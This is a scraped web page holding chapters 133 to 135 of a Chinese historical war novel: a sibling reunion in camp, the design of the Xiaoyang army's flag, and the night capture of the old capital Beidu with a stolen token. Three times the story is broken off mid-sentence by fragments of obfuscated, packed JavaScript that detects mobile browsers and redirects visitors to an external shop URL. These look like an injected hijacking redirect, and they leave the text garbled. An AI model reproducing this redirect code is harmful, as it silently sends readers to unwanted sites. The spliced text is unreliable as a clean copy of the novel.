l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13855891|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。她只能自己和自己玩,与鸟儿说话,跟昆虫作伴,所以独处的安然便经常想些好玩的花样逗自己开心,日子久了,她几乎想了所有能想到的有趣的玩法。 这个“隔山打牛”飞石子的玩法,就是安然无意间想到的,她不知打过几百次,熟练得很。 安然跑到河边,认真地找着石子,不停拿起石头掂量着重量。选这个石子是有些讲究的,它既不能太重,也不能太轻。石子太重了话,会受重力影响扔不远;太轻了又易受风的阻力影响,而改变飞的路线。 叶阳晨一看安然专心挑石子的样子,他就知道这丫头又赢了,很显然如果安然不是深谙此道,是不会这么做的。 挑了一小会儿,安然终于找了一颗重量合适的石子,她神色一喜,“可以了,我找到了。” 安然再次站在树前,虽然这个“绝技”她从未失手过,但今天这次出手事关自己能不能留在叶阳晨身边,她也不敢有丝毫大意。 安然双手合十,把石子置于两手掌掌心之间,她闭着眼睛小声嘟囔着,最后对着两掌掌缝吹了口气。 众人关注着安然的一举一动,都在等着看安然是怎么施展“绝技”。 安然睁开眼睛,侧着身子目视前方,她右手拿着石子,随着手一抖,石子倐地飞出。 每个人都紧盯着石子,只见石子在空中微微划出一道弧线,刚好绕过了前面的那棵树,打中后面第二棵树的树身。 诗怡好奇心最盛,她跑过去仔细查看。安然没有内功,所以石子并未打入树中,只是打掉一小块树皮而已。 诗怡站在那棵树边叫喊着:“阳晨哥,安然妹妹成功了。” 如果赢下一局还可以说是安然的运气好,小姑娘连赢三局,大家这就不得不承认安然的实力了。这里的很多人武艺超群,但还是对安然这个小姑娘心生佩服。 安然跑到叶阳晨面前,跳着笑着,手舞足蹈,“哥哥,我成功了,我终于可以留在你身边了,你再也赶不走我了。” 叶阳晨苦笑,自知自己大意了,他确实没想到安然三局皆胜。既然愿赌就要服输,叶阳晨也不能失信妹妹,他对着安然宠爱一笑,“还是你厉害。” 安然喜笑颜开地眨了眨眼,对她来说,这意味着终于又可以留在哥哥身边了,她能不高兴吗?从此有了一个温暖的“家”,家中的每一个人都拿她当亲妹妹一样看待。而对于大家来说,从此军营里又多了一个“开心果”。 当晚,江雨宁为安然做了许多烤鸡腿,让她吃了个够。安然的小嘴、脸颊上和眉毛上都挂满了油,最后一个鸡腿都没剩下。至于其他人则开怀畅饮,一醉方休。 如果不包括安然,至此,叶阳晨身边已集结了十一名兄弟姐妹,算上他自己,正好是十二个人。这十二个人就像组成了一个大“家庭”,慕瑶还给这个大“家庭”取了一个好听的名字,叫做“十二将星”。 而后,十二将星成了为忠诚、勇敢、英雄、荣耀的代名词。他们出国力克强敌,收复山河,他们燃尽热血,所向披靡,直至有朝一日狼烟散尽,烽火熄宁才凯旋而归。 133. 第一百三十三章 部队休整了一段时日后,叶阳晨动了带兵主动出征的心思,他不想每次都等着那海来袭,那样丰国的将士就只能被动防守。之前那海攻打临昌和楚州,这次叶阳晨要以牙还牙,让那海尝尝抱头鼠窜、丢盔弃甲的滋味。 兵马未动,粮草先行,叶阳晨自然不会打无准备之仗,他把江雨宁召到大帐中了解粮草辎重的情况。 正说着话,洛洛走了进来,“阳晨哥,小姐叫你过去一下。” 这时,江雨宁顺着声音望了过去,只看了洛洛一眼,时间仿佛静止了,他的心跳也好像停止了。诗怡这次从家出来的时候,洛洛再三央求,说离不开他们家小姐,诗怡就把她也带到了军营。说来也巧,这么多日,这也是江雨宁第一次碰见江雨洛。 江雨洛传完话刚要走出帐子,江雨宁急忙喊道:“姑娘,慢着,等等。”从洛洛进来,江雨宁的眼睛就一直盯着她看。他左看右看,总觉得这个女孩子长得很像自己的妹妹,虽然过去那么多年了,洛洛的相貌变化好大,可她的神情与小时候的她全无二致。而且这个女孩的人中位置也有一颗痣,这颗痣一直是江雨宁记忆里妹妹最显著的外貌特征,他不相信世间有那么巧的事,故而他确信这个女孩就是她的妹妹。 洛洛下意识回头,“请问,你是在叫我吗?”她这才注意到屋子里有个壮硕的男子坐在那里。 “是的,我是在叫你。” 洛洛眼神疑惑,上下打量着江雨宁,“你好,我们…认识吗?”本来她想问的是有什么事吗?可看到江雨宁的神情那么激动,她突然莫名地说成了“我们认识吗”。 “认识,当然认识。” 一旁的叶阳晨先是诧异,随之忽地想起了宁哥跟他讲过失散了妹妹的事,他心里隐隐猜出了什么。 江雨宁站起身,走到洛洛的面前,“姑娘,我可能是你的哥哥。” 话音一落,江雨洛惊讶万分。两人失散那年她才七岁,很多事情她都已经不记得了。他们兄妹父母去世的早,江雨洛对自己有个哥哥这事是有点印象,只是哥哥的容貌,她却一丝一毫都不记得了。 突然得知在这个世上还有个亲人,江雨洛声音颤抖,“你真的是我的…哥哥?” “我想应该是的,你叫什么?你是不是叫江雨洛?” 叶阳晨这才反应过来,怪不得自己当初刚听到江雨宁的名字时,觉得有点熟悉,原来他们兄妹的名字中只差了一个字。 “是的,我是江雨洛。”洛洛虽然惊喜,但也怕只是空欢喜一场,“不会弄错吗?天下重名的也不少的。” “不会错的。你的右肩上是不是有一块褐色的胎记?” 江雨洛心里一颤,没有错了,如果他不是自己的哥哥,一个陌生人又怎么会知道自己身上的秘密呢? 洛洛泪雨如注,“这么说,你真的是我哥哥?原来我在这个世界上还有亲人,原来我不是孤苦无依、无依无靠。” 江雨宁这个身高八尺的汉子,一时间也红了眼眶。他走遍大江南北找了妹妹这么多年,盼了这么多年,多少次几乎已经心灰意懒,觉得妹妹可能早就不在人间了。而今天,老天爷却给他送来了意外惊喜,江雨宁简直太开心了。 怕妹妹还是不相信,江雨宁哽咽道:“小洛,你还记不记得?小时候有一年冬天,你偷偷跑去冰面捉鱼,结果掉到冰窟窿里了。哥哥把你救上来,你发热病了三天。” 这个事情洛洛是记得的,她再也抑制不住内心的感情,一下扑到了江雨宁的怀里,“哥……” 江雨宁搂紧妹妹,嘴里一直自言自语,“爹娘,我终于把洛洛找到了,你们看到了吗?” 叶阳晨目睹了他们兄妹相认的过程,心里无限感慨,他笑道:“你们兄妹刚刚重逢,一定有很多话要说,我就先出去了。” 走出帐外,叶阳晨仍连连回头望着中军帐,嘴角溢出一丝笑意。虽然山河破碎,驱逐胡虏之路道阻且长,但还能有这么温情的事情发生,真让人心里暖暖的。 叶阳晨急着去告诉慕瑶这个好消息,他刚进了帐子,慕瑶便笑着摆手道:“阳晨,你快过来,我给你看个图样。” 叶阳晨本想立即说洛洛的事,见慕瑶这么急切,他便走过去看看是何事令她如此欢悦。 叶阳晨看着桌子上的画,“这是面旗吗?” 林慕瑶得意一笑,“是啊,这是我给我们军画的军旗。” 叶阳晨也展颜一笑:“瑶瑶,还是你想得周到。其实我也一直觉得我们需要一面战旗,只是一直没有想好是什么样的。” 慕瑶继续温婉说道:“我想日后我们四处征战,有面旗帜会提振军心士气。战旗美如画,艳如花,血染风采,耀我中华。” “瑶儿,你说得真好,如诗如歌一般。” “你看看这图案喜不喜欢?” 叶阳晨看着这张图,旗子呈长方形,它的主色调是血红色的,旗中间是十二颗黄色的小五角星围成的正圆形,象征黄道十二星座,棋子的四边依次是当初德明方丈给的金币上的图案。 最吸引叶阳晨的,还是五角星的圆里用隶书写着三个字,他好奇一问:“骁扬军?这是你给我们军队起的名字吗?” 慕瑶娇笑着,“怎么样?好听吗?骁扬这两个字寓意军队骁勇善战,扬名万里。” “这个名字太好了,有了它,我们就等于有了一个好的预兆,好的开始。”说完,叶阳晨没忍住,在林慕瑶的脸颊上吻了一下。 林慕瑶摸着脸,娇羞道:“你怎么那么讨厌呢?人家在跟你说正事你也能使坏。” 叶阳晨坏笑,“我做的也是正事啊。” 林慕瑶娇俏地瞪了叶阳晨一眼。 有了旗,又有了响亮的军名,叶阳晨越想越开心,“林娘子,你怎么那么聪明能干呢?” “谁是你娘子?还有,你小点声,万一让别人听见了多难为情?” 叶阳晨满不在乎,“听到正好,听到后你就不用穿男装了。我也可以昭告全军,你就是我的发妻。”在部队里,若是有人穿着女装走在营地里,有点失体统,所以慕瑶她们这些女孩子,即使待在营帐里,也都穿着男式战袍。 林慕瑶娇媚地冲着叶阳晨一笑,“你怎么还是那么孩子气?” 叶阳晨转而说道:“对了,慕瑶,我也有件好事、喜事要告诉你。” “什么喜事?”慕瑶的眼睛陡然一亮。 “还是你身边人发生的事。” “我身边的人?是诗怡?还是洛洛?” “是洛洛。” 慕瑶诧异,“这个丫头会有什么喜事?” “今天洛洛找到了一个亲人,她的亲生哥哥。” 慕瑶更加错愕,“洛洛的亲哥哥?是谁啊?” 叶阳晨笑道:“是雨宁大哥。” “真的啊,这太好了。”慕瑶眼睛笑成一弯新月,“那是怎么发现得呢?” “刚刚你不是让洛洛去大帐叫我,正好雨宁大哥在我的营帐里说事,他就认出洛洛是他的妹妹,于是两人便相认了,真是太巧了。” 慕瑶脸上溢出喜悦之情,但笑着笑着,她的笑容突然化作感伤,“洛洛其实挺可怜的,我们家买她来做丫鬟的那年她才七岁。那时已是冬天,洛洛穿着很薄的破衫,脚上也只穿着破烂草鞋,她的脚都已经长满了冻疮。我从外边回府,刚下了轿子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13908807|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,洛洛突然窜出来抱住我的腿不放,我见她可怜,就给了她一块蛋糕,她拼命往嘴里塞,那个画面我现在都记得。” “后来我们家人问她,洛洛说和哥哥走散了,她说是被一个“叔叔”带到西关道的。其实她口中的“叔叔”其实就是人贩子,也不知道洛洛是怎么从人贩子手里逃出来的。我看她太可怜了,就求着家里把洛洛买回家了。” 叶阳晨安慰道:“都会好的,现在他们兄妹不是都团聚了吗?”说完,叶阳晨把慕瑶搂在怀里。 慕瑶柔声低语,“阳晨……” “嗯?” “怎么在你身边久了,总会偶尔有好事发生呢?” 叶阳晨玩笑道:“怎么?现在不怨我把你抢上山了?那时你肯定觉得发生在你身上的,是天大的坏事。你当时肯定讨厌死我了。” 慕瑶违心道:“我现在也讨厌你。” 叶阳晨捧起慕瑶的脸,“真的?” “真的。” “那我就让你一直讨厌吧。”说完叶阳晨吻上了林慕瑶。 慕瑶似有似无地推了叶阳晨两下,“一会儿有人进来怎么办?” “没事的。” “你是真讨厌,现在动不动就亲人家。”随着叶阳晨的吻变得火热,慕瑶也沉浸在这温存的感觉中。 整整一天,洛洛都在跟哥哥叙聊,聊彼此这些年的经历。 洛洛告诉哥哥这些年自己过得不错,满心感激说慕瑶姐,乃至林府都对自己很好。 可当洛洛问哥哥这些年过得怎么样时,江雨宁怕妹妹难过,总是三言两语遮掩过去。事实上,自从与妹妹失散,江雨宁就过着颠沛流离的生活,吃了数不尽的苦。直到来了军营,总算是吃上一口饱饭。 见哥哥不愿意说,洛洛也没在追问。好在他们兄妹现在重逢了,以后的日子都会越来越好。林慕瑶和叶阳晨的人都那么好,江雨洛非常确信他们一定会善待哥哥。 两人聊至晚上,洛洛才回了慕瑶的营帐。见小姐看着自己笑,洛洛也跟着笑了起来,“小姐,你都知道了?” 慕瑶语笑嫣然,“嗯,知道了,阳晨告诉我的,你现在心里是不是特别甜?” “是呢,开心死了,怎么会有这么好的事发生在我身上呢?” 慕瑶摸摸洛洛的脸,“当然是因为你善良可爱啊,所以上天眷顾你,才会把哥哥给你送回来了。” “小姐,你真好。洛洛能遇到你便觉得上天待我不薄,现在又找到了哥哥,我更加感恩一切。”洛洛说着再次潸然泪下。 慕瑶握起洛洛的手,“洛洛,现在你也找到哥哥了,也算有亲人了,我有个想法。” “小姐,什么想法呢?” “我觉得从此以后你不用再当丫鬟了。” 听小姐那么说,洛洛心里一慌,“小姐,你怎么了?你是要赶洛洛走吗?是洛洛做错什么事了吗?如果洛洛什么做得不好,我可以改,但我就是不离开你。” 慕瑶噗嗤一笑,“你想哪儿去了?我是说还你自由身,如果你想跟着哥哥去过自在的生活,我也是同意的。虽然这些年我们名义上是主仆,那是没办法的事,不过你是知道的,我心里一直拿你当妹妹看。而且你离开时,我还会给你一笔丰厚的嫁妆,也不枉你跟了我那么多年。其实那份嫁妆我也替你准备好很多年了,就是等你找到中意的人我再给你。” 听完这些,洛洛热泪盈眶,连忙摆手,“小姐,我虽然有了哥哥,但是我也舍不得跟你分开啊,我是永远不会离开你的。我想我哥哥也会愿意让我继续跟着你的,即使我哥哥不同意,我也不会听他的。” 主仆情深,慕瑶搂住洛洛。 134. 第一百三十四章 几日后,叶阳晨召所有兄弟到中军帐开会,他把自己征战北都的军事计划告诉众人,这次他下定决心要光复丰国曾经的都城。虽然众兄弟之前都已知晓叶阳晨有夺回北都城的计划,但是每个人真的亲耳听到叶阳晨的这个决定时,还是会禁不住气血翻涌,满腔豪情。 算起来,北都陷落已经十年了,当年蒙古王那海攻占北都,那些忠心赤胆的守城官兵以死明志、壮烈殉国,但仍没有阻挡住蒙古人的铁蹄。而后住在北都城里的汉人一直都过着下等人的生活,他们时时被蒙古人歧视欺压,简直毫无尊严。城里的那些丰国百姓之所以没有逃离北都城,只是因为难舍故土,他们祖祖辈辈生活在那里,就是要死,也宁愿死在自家的田园里。 这十年以来,有点血性的丰国人一直都因失了都城而耿耿于怀,这些有血性的人也包括叶阳晨。只是曾经的叶阳晨仅能在嘴上怒骂朝廷无能,而如今他却可以以军人身份用刀锋来雪耻,他心里觉得无比畅快。 叶阳晨从未去过北都,但骁扬军里很多士兵都去过的,甚至很多人的祖籍就是那里。如果这次能以“主人”的身份光复北都城,这些士兵都会激动到热泪盈眶的。 作战计划也被众将领反复推演过了,确保能一举夺下北都城。部队出发前,所有人都做了充分的准备。为了这次圣战能大获全胜,能胜得没有任何遗憾,凌牧云甚至写信把他的两个副帮主石磊和仲华叫来了楚州。 凌牧云在骁扬军营待的时间不长,但他发现叶阳晨心有丘壑,眼存山河,是个有卫国戍边远大理想的英雄豪杰,这样的人物,凌牧云也愿意追随左右去南征北战。 来楚州前,凌牧云只是为了追随爱情,为了能守在芷萱身边,护她周全,至于其余的事他也没想过。可真来了军营后,凌牧云一下子遇到那么多志同道合、肝胆相照的兄弟,他的心里除了装满家国情怀,更与大家生出刎颈之交、祸福与共的情义来。这种整日与兄弟们聚在一起饮酒欢笑,自在快活的生活,凌牧云从未有过,他再也不会舍得与这些生死弟兄分开。 一切准备妥当后,大军立即开拔。骁扬军行军半月余,行至距北都城三十里,叶阳晨才下令命部队原地扎营。 一连几日,叶阳晨迟迟都没有下达进攻北都城的命令,他要再细细想想,这一仗他不想输,也输不起。来的这一路上,叶阳晨想了又想,总觉得自己的这个作战计划并不够完美,他心中仍存有诸多顾虑。 后来,还是慕瑶先前的话点醒了叶阳晨。骁扬军出发前,三军斗志昂扬,十二将星更是意气风发,但慕瑶偏偏在这个时候给自己的夫君泼了冷水,她说祸莫大于轻敌,还说惟无虑而易敌者必擒于人。 或许那个时候说出这样的话有点不合时宜,可慕瑶还是说了,做了她认为对的事。慕瑶是最了解叶阳晨的,她清楚他的豪情万丈,也看到他的踌躇满志。正因为这份惺惺相惜,慕瑶比叶阳晨更怕这场仗失败,正因为这份最懂,慕瑶比任何人都知道这一战对自己爱人的意义。这是他们夫妇共上战场的第一仗,为了没有遗憾,没有后悔,慕瑶这次没有顺着叶阳晨,说他喜欢听的话。 叶阳晨刚听到慕瑶的这些话时,他虽然没有满腔怒气,但却心里不快。叶阳晨不屑流俗,他的傲气是刻在骨子里的,甚至比剑还锋利。 可过了几日,叶阳晨突然在一瞬间想通了,他的破绽不在计划之中,而藏在自己的自负里。自己以为的天衣无缝的计划,可能已经被那海推演了无数次了。那海又不是笨蛋,不可能等着自己来打,可能有些作战细节那海是猜不到的,但他也不至于什么都预料不到。一个在明,一个在暗,这边长途奔袭,那边以逸待劳,叶阳晨这样算下来,才发现敌我相比,自己怎么都不是占尽优势的一方,又怎会有必胜的把握? 叶阳晨早已不是当初那个顽劣少年,只是岁月经年睿智不减,性格里却多了一分沉稳。对于自己做错的事,他自然有勇气承认。不过叶阳晨想了想,既然已经给了敌人一种来势汹汹的假象,索性就“将错有错”,来个明修栈道,暗渡陈仓。 叶阳晨的这些想法,众将士自然不知,于是冲进大帐问叶阳晨还在犹豫什么。 叶阳晨解释道:“各位兄弟莫急,计划可能有变。” 大家齐声问道:“什么变化…难道不打了?” 叶阳晨玩笑道:“打是肯定要打的,否则不成了到此一游了?” 见叶阳晨还能有心开玩笑,所有人就知道事情不太严重。 叶阳晨敛去笑容,开始正色道:“北都是丰国的旧都城,又是三朝古都。历朝历代君王登基,都会对城墙加固、加高、修缮。经五百多年的修建,这座帝都已经固若金汤。我前两日去探察过,这座城易守难攻,不好打下来。倘若我们强行攻城的话……” 这时,胡枫恰到好处地接话,“那也仍然能打下来。”胡哥睥睨蒙贼,置的就是这口气。 叶阳晨投去一个认同的眼神,“能是能,可这样一来,我们自身只怕也会伤亡惨重。况且城里面有一半以上是咱们自己的手足同胞,我其实也怕那海会拿丰国子民当人肉盾牌,或屠杀丰国百姓泄愤。” 听叶阳晨这样说,帐内有些人的脸色怔愣,诗怡更是好奇地问:“阳晨哥,那海真的如此残暴吗?” “当然,当年那海占领北都城后,为了让城内的百姓臣服于他,就在北都城门口屠杀了五万百姓,老幼妇孺皆有。” 安然长大了嘴巴,“蒙古人简直不是人,连小孩都不放过。” 叶阳晨逗着安然,“蒙古人就抓你这种不听话的小孩。” 林诗怡转而问道:“阳晨哥,那海当年屠城是为了摧毁百姓抵抗的意志吗?” 叶阳晨神色凝重,“就是这个目的,蒙古人希望我们汉人永远做他们的奴隶,臣服于他们。” 帐内突然安静下来,稍久,霍玉才开口道:“那这么说来,我们现在无论怎么做都会投鼠忌器的。” 林慕瑶计上心头,“也不能这么说,如果我们能挫其锐气,出其不意打那海一个措手不及,那海便有可能弃城而逃,而无暇对百姓下手。” 胡哥坏笑着打趣道:“慕瑶,你们两口子是不是已经商量好了?这一唱一和的。” 慕瑶的脸颊顷刻间浮上一抹粉红,她娇柔声道:“胡哥,这是集议,在说正事呢。” 其他人听到他们兄妹的对话,嘴角也都偷偷地微微勾起。 胡枫憋住笑,追问道:“好好好,我不开玩笑了,慕瑶,那我们该如何出其不意呢?” 林慕瑶正色道:“如若我们的人偷偷混入城中,到时候来一个里应外合,城门便可不攻而破。” 话音刚落,叶阳晨心里一震,他并没有把自己的想法说给慕瑶听,但两人所想却出奇地一致。 胡枫不解,“慕瑶,可是按你说的这个计划,需至少潜伏入城几百人才行啊。目前那海已将被都城封锁戒严了,老百姓都不让进出,我们如何混得进去?” 这次没等慕瑶再说话,叶阳晨坏坏一笑,“胡哥,那就要看你的了。如果你能盗取那海的令牌,城门便可随意出入了。” 胡枫会意,随即豪放一笑,“果然妙计,那我就索性走一趟。我也好久都没有盗过东西了,还真手痒痒,今晚看我的了。” 其他将星纷纷叮嘱胡枫路上要小心。 傍晚时分,胡枫便带着一千人的先头部队出发了,而叶阳晨也会随后带着大部队埋伏在北都城外围的两里处。 子夜时分,胡枫他们刚好到了北都南城门脚下。城楼的正面是有守军巡夜的,胡枫只好带着兵贴着城墙根儿走,绕到城墙侧面。 胡枫仰头看了看高立的城墙,约莫有近二十米高,他的飞爪钩的长度并不够。胡枫看了看前方,还好不远处有棵大树就长在城墙边上,他心中一喜。 胡枫来到树下,轻轻一跳便飞到树上。他平日常飞檐走壁,是十二人里面轻功数一数二的。 胡枫踩在树枝上,环顾四望,观察着对面城墙的这个位置是否有兵卒守卫。见四下无人,胡枫才挥摇起栓有飞爪钩的绳子,随即他右手轻轻一松,飞爪钩朝着城墙飞了出去,结结实实钩在城墙上方的石砖上。 胡枫用力拽拽绳子确定牢固,然后双脚一蹬,借力顺势悠荡了过去。他飞过去,像壁虎一样贴到城墙的墙壁上,他不敢耽搁时间,攥紧绳子快速向上爬。几乎是在眨眼之间,胡枫上到了城墙上,他快速收起飞爪钩,直奔皇宫而去。 那海在没踏入中原前,也是住着蒙古包的。后来那海占领了北都城,也就适应了汉族皇室的生活习惯,甚至喜欢上了住在宫殿里。奢靡生活过久了,就很难再回去塞外过苦日子了,这也是那海为何总是觊觎中原热土的原因。那海比另外两个蒙古王更加深深了解着汉人统治下的王朝,他更加懂得城市繁华、巍峨宫殿也是文明的注脚。 胡枫的脚程很快,少时就到了皇宫。从前胡枫就来过京城很多次,也偷偷进过皇宫,对于皇帝大致的住所也是知晓的。他没有怎么费事,便找了那海居住的寝殿。 寝殿正门有士兵把守,胡枫先是绕到大殿后方,他捅破窗纸将燃着的迷香送了进去,待确定皇上已经昏睡实了,他才放倒殿门口的士兵潜入殿内。胡枫自知时间紧急,他必须在巡夜的宫侍发现前找到令牌。可找东西这种事越是心急,越是不得其法,胡枫在寝殿找了好久,柜子、箱子、匣子、抽屉都翻了个遍,可还是没有找到。 踏破铁鞋无觅处,得来全不费功夫。最后,胡枫发现令牌就别在那海的腰间。即使是睡觉,那海同样不放心,还是让令牌不离身。胡枫轻轻取下令牌,没有耽搁片刻,就沿着原路翻出北都城墙。 此时的城墙下,胡枫带来的那一千士兵已换好了蒙古人的甲胄。这些军甲还是当初临昌保卫战时,从死去的蒙古兵身上扒下来的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984315|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >临昌保卫战结束后,叶阳晨便下令留一些蒙古人的战甲,以备将来之需。 当时众人还很纳闷这些衣服能有何用,没想到今日便派上了用场。 胡枫也换上了千夫长的装束,领着一千人又绕回了北都南城门。 守城的士兵远远地就看见了胡枫他们,待胡枫他们走进了些,见是一群穿着蒙古兵服的人,蒙古守兵才微微松了口气。 蒙古兵站在城楼上高喊:“你们是什么人?” 胡枫这边一个会说蒙古语的士兵微微上前,“前几日,我们受大汗委派,去打探丰国骁扬军的消息,特回来复命。” 守城的蒙古兵终于放下了所有戒备,“你们手里有令牌吗?”此刻毕竟已经凌晨,按照规定,这个时辰凡有人要入城必须有君王令牌才能打开城门。 话音一落,胡枫把令牌往城楼上一抛。守城的蒙兵稳稳接住,他拿在手里一看,“等着,我这就给你们开城门。” 城门打开,胡枫带着一千人大摇大摆入城,心情何其雀跃。 此刻,骁扬军大部队都潜伏在城门外的密林草丛中,叶阳晨掐算时间,觉得胡哥那边如果顺利的话应该已经成功入城了。他下达将令,让全体将士随时做好攻城的准备。 胡枫带着士兵进城后,找到了一条背街暗巷,他偷偷发射了“星光昼”。星光昼是那种可以窜上天照亮夜空的信号弹,方圆几里外的人都是可以看见。这东西是温映雪发明的,用于联络使用,就连“星光昼”的这个名字也是她取的。 一束光冲上夜空,耀眼的光映得北都城上空的天幕宛如白昼,星光也为之黯淡。城墙上及城内巡城的士兵也都看见了头顶上空的光,隐隐觉得不安,只是谁都没有见过这是什么,更不知这是做什么用的。众人静静地观察了一下,见那道白光也只是刚刚闪亮了那一瞬,便放松了警惕。 叶阳晨看见了星光昼的信号,他一声令下,所有士兵冲出丛林,全速冲向城门。 城内的胡枫稍等片刻后,再次带着兵杀回城门处,转眼间他们杀掉城门内守城门的几十名蒙古士兵,然后拿掉城门内的门栓,城门随之被打开了。 这时城墙上的蒙古兵见城门被打开,这才觉察大事不妙。蒙古军全力吹响警哨,几乎是在顷刻间,城内的蒙古人集中兵力向城门方向冲来。不过很短的时间内,蒙古人无法召集太多兵。胡枫与叶阳晨的里应外合,确实打了蒙古人一个措手不及。 胡枫坚守在城门下,与赶来救急的蒙古兵激战起来,保住城门不被关上。由于胡枫带来的那一千人强悍勇猛,蒙古兵一时也没有占尽优势。 约一盏茶的功夫,叶阳晨终于带着兵赶到城楼下。由于人数上占着的绝对优势,骁扬军像潮水一般攻入北都城,刚刚城内还乱作一团,此时城内的蒙古兵已被骁扬军彻底湮没。 听到外面有打杀声,城内的老百姓在睡梦中惊醒,但怕被误伤,竟皆紧闭宅门不敢出来。 消息很快传到皇宫中,前来那海寝殿报信的侍卫发现大殿门口值夜的士兵躺在那里,便知是出了事。侍卫立即冲进大殿,那海因为迷香的作用一直在昏睡,侍卫叫了数声才把他叫醒。 那海惊醒后一脸惶恐,“发生了什么事?” 侍卫沉着脸,“骁扬军刚刚攻入城了。” “什么?怎么回事?”那海还是觉得整个人的头还晕沉沉的,“我们不是充分准备了吗?” “据说是城里混进了骁扬军士兵,然后里应外合。”侍卫垂头丧气地报告着。 那海准备穿衣,这才发现自己腰上的令牌不见了,他瞬间恍然。骁扬军既已攻入城中,那海便知再应战守城已来不及,他下令道:“传我王令,所有军队尽量从北城门撤出,至平朔九州一带防守。” 最终,那海连夜带着蒙古军成功从北都城北门逃走。 其实叶阳晨也想过提前派兵堵死北城门,给那海来一个关门打狗。瓮中捉鳖的作战方案太有诱惑力,倘若成功了,就一劳永逸地解决了那海这个麻烦,他也差点就兵行险招了。 只是叶阳晨考量,这样一来,骁扬军势必要与蒙古军在城内激战,届时这种鱼死网破的战法势必会殃及平民,城毁人亡的结果也就不可避免了。不仅如此,北都北城门敌军的防卫力量更强,如果想封锁北城门必然需投入更多的兵力前往,这样肯定会打草惊蛇。而且假如这个穿插战法操作不当,就不是堵死那海,而是反被城内的那海和北城门的蒙古军夹击了,最后可能没有堵截住那海,还拿不回北都城。 叶阳晨也太想扩大战果,但他还是时时提醒不要太贪功冒进。深思熟虑后,叶阳晨还是放弃了去冒险,而是先拿下北都城这一“小目标”后再说其他。毕竟此战的初衷就是夺回北都城,而不是将那海一网打尽。 这场仗,叶阳晨可以说是兵不血刃,以最小的代价夺回北都城。至此,时隔十年后,北都城再次回到丰国的怀抱。 135. 第一百三十五章 翌日,北都城内举行了盛大的光复庆典仪式,街道上舞龙舞狮、鞭炮齐鸣,城中的老百姓皆欢欣鼓舞,无论男女老少都激动落泪。那夜北都城甚至没有宵禁,彻夜灯火通明。 之前,被异族奴役了整整十年的北都百姓,过着的是苦不堪言的日子。如今,属于自己的家园又回来了,终于不用再过那种毫无希望、毫无尊严的日子,每个人的心中自然甘之如饴。 北都城的百姓给了骁扬军最高礼遇,美酒、美食、鲜花源源不断送到军营中。有的来送东西的老人家都已过了古稀之年,有的老者行动不便但还是拖着病躯来了军营,他们就是想看看救他们于水火的恩人。 看着那一双双真诚感激的眼睛,十二将星出征后第一次落泪了,那是感动的泪,自豪的泪,幸福的泪。只是当时这十二人还不知,日后他们会创造更多的胜利和辉煌。 叶阳晨心里别样激动,几度偷偷地湿润了眼眶。如果说临昌之战是救国于水火,那么北都之战就成功挽回了国人的尊严,两战一样重要,却意义不同。 按照臣子之责,叶阳晨第一时间将北都光复的消息以八百里加急送回临昌。 献帝阅过札子得知北都克复的消息后大悦,金殿之上当即封叶阳晨为“镇国将军”,官升三品。 仗是将士们打的,功劳确实皇上的,满朝大臣皆对献帝歌功颂德。众人阿谀奉承之下,献帝已经飘飘然,他甚至认为自己的治国能力已远超自己的父皇,毕竟北都城是在父亲项靖手中丢的,而在自己的手中拿回来的。他甚至觉得自己的功绩已可以比肩丰国太祖,毕竟他已经把丰国的疆域恢复到丰国建国时的状态。如果不是几个清醒的文臣劝阻拦着,献帝甚至还想去泰山封禅。 项桓好大喜功地对大臣宣布,将会近日迁都回北都城。虽然临昌风景如画,住起来更觉舒适,可迁回北都的意义毕竟不一样,献帝项桓急于向世人证明自己的才能胜于父亲顺帝。 众朝臣听后都频频皱眉,他们偏安在临昌州已久,贪图安逸享受业已成为习惯,并不想再回到北都城。何况临昌离蒙古军对更远一些,相较于北都就更为安全。 当时的整个丰国,可以说是文不思政、武不论战,文官武将对国家民族的前途更是漠不关心。要不是每当丰国遇到危机的时候,总有些仰望星辰的忠臣忧心国家命运,也总有几个人为国家前途挺身而出,那么想必丰国早已亡国。可细想此事,仅凭借几个忠臣就能挽救一个国家,既是幸运的,也是可悲的。 叶阳晨得知皇上要迁都,也觉得此时不合时宜。现在北都城刚刚回归,都城防卫力量相对薄弱。况且敌军离北都城也不过几百里,大有去而复返的可能。但是叶阳晨既已收到了皇上的圣旨,也只好等着迎接君主。 既然丰国要重新定都,那么京城的防卫便是第一位的了。叶阳晨本想慢慢计划的,但现在皇上要尽快“回銮”,留给他安防的时间便不多了。 不过,皇上的迁都行为倒是一下子提醒了叶阳晨,一味的防御,不如以攻为守,他想最好趁那海立足未稳,乘胜追击夺回北都城的“门户”——平朔九州,到那时候平朔九州便成了京城的天然屏障,定可保京城安全于万一。 在接下来二十多天里,叶阳晨昼夜不息,一直在加紧制定夺回平朔九州的方案,他坚信献帝也会赞同自己迅速拿回平朔九州。而平朔九州东西横跨千里,这一次绝不是兵不血刃了就能拿下的了。 